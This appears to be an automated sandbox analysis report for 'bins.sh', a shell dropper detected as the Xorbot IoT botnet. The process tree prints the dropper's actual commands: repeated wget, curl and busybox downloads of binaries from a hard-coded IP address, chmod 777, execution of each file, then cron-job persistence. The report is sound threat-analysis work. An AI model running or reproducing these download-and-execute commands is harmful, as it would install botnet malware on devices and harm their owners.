Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    05/12/2024, 06:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d46a3232f2d9e39c42e2378e3b9ee5f6

  • SHA1

    1c15292de404d15bfb04ffd8af708533296f3d87

  • SHA256

    273e3c9752c4ac7d7525722250b775dc812f042fb3f98d007663ca7f6e374f95

  • SHA512

    d6c231f3e22e63ecb5b7e3e9e3b124499280bc190ed2fc49b52e4ded2562482f761eb2ca23ca3e7e21cef55306de30948802b94cbd460696c973d3656aa8ef15

  • SSDEEP

    192:xiE2+Yb3TjllJkOq6v3XJZJeyWQpFXGOq6v3lJZJeyzlgd2+Yb3Ty:xipllGQpFllgr

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1684) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB
          ./zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            ./ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              2⤵
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              2⤵
              • Writes file to tmp directory
              PID:756
            • /bin/chmod
              chmod 777 OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              2⤵
              • File and Directory Permissions Modification
              PID:760
            • /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              ./OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:761
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:763
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:765
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:767
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:768
                  • /bin/rm
                    rm OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                    2⤵
                      PID:771
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                      2⤵
                        PID:775
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                        2⤵
                          PID:778
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                          2⤵
                          • Writes file to tmp directory
                          PID:779
                        • /bin/chmod
                          chmod 777 Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                          2⤵
                          • File and Directory Permissions Modification
                          PID:788
                        • /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                          ./Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                          2⤵
                          • Executes dropped EXE
                          PID:790
                        • /bin/rm
                          rm Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                          2⤵
                            PID:868
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                            2⤵
                              PID:874
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                              2⤵
                                PID:884
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                2⤵
                                • Writes file to tmp directory
                                PID:887
                              • /bin/chmod
                                chmod 777 Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                2⤵
                                • File and Directory Permissions Modification
                                PID:892
                              • /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                ./Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                2⤵
                                • Executes dropped EXE
                                PID:893
                              • /bin/rm
                                rm Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                2⤵
                                  PID:901
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                  2⤵
                                    PID:903

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX

                                        Filesize

                                        107KB

                                        MD5

                                        eb9c3a0de91fcf16ba17cb24608df68c

                                        SHA1

                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                        SHA256

                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                        SHA512

                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                      • /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9

                                        Filesize

                                        151KB

                                        MD5

                                        6c583043d91c55aa470c08c87058e917

                                        SHA1

                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                        SHA256

                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                        SHA512

                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                      • /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS

                                        Filesize

                                        117KB

                                        MD5

                                        849fa04ef88a8e8de32cb2e8538de5fe

                                        SHA1

                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                        SHA256

                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                        SHA512

                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                      • /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG

                                        Filesize

                                        151KB

                                        MD5

                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                        SHA1

                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                        SHA256

                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                        SHA512

                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                      • /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB

                                        Filesize

                                        177KB

                                        MD5

                                        786d75a158fe731feca3880f436082c0

                                        SHA1

                                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                        SHA256

                                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                        SHA512

                                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                      • /var/spool/cron/crontabs/tmp.CQctKB

                                        Filesize

                                        210B

                                        MD5

                                        eeb852fad5ba552d4668c11ff19a02ab

                                        SHA1

                                        63f3f50db1bbac53b05b021341c117b6b439be88

                                        SHA256

                                        c51694e5c33aada53a0767bb888569d1408997ec889b109907efb08f81c70a9c

                                        SHA512

                                        54432658fc8f652babfc688b854ea98a58207935e8c4a157d6906c509d1b146d1cfaee18af2e784d79aabe5c44f50a5e92d6c326af0351916912c456a67441c8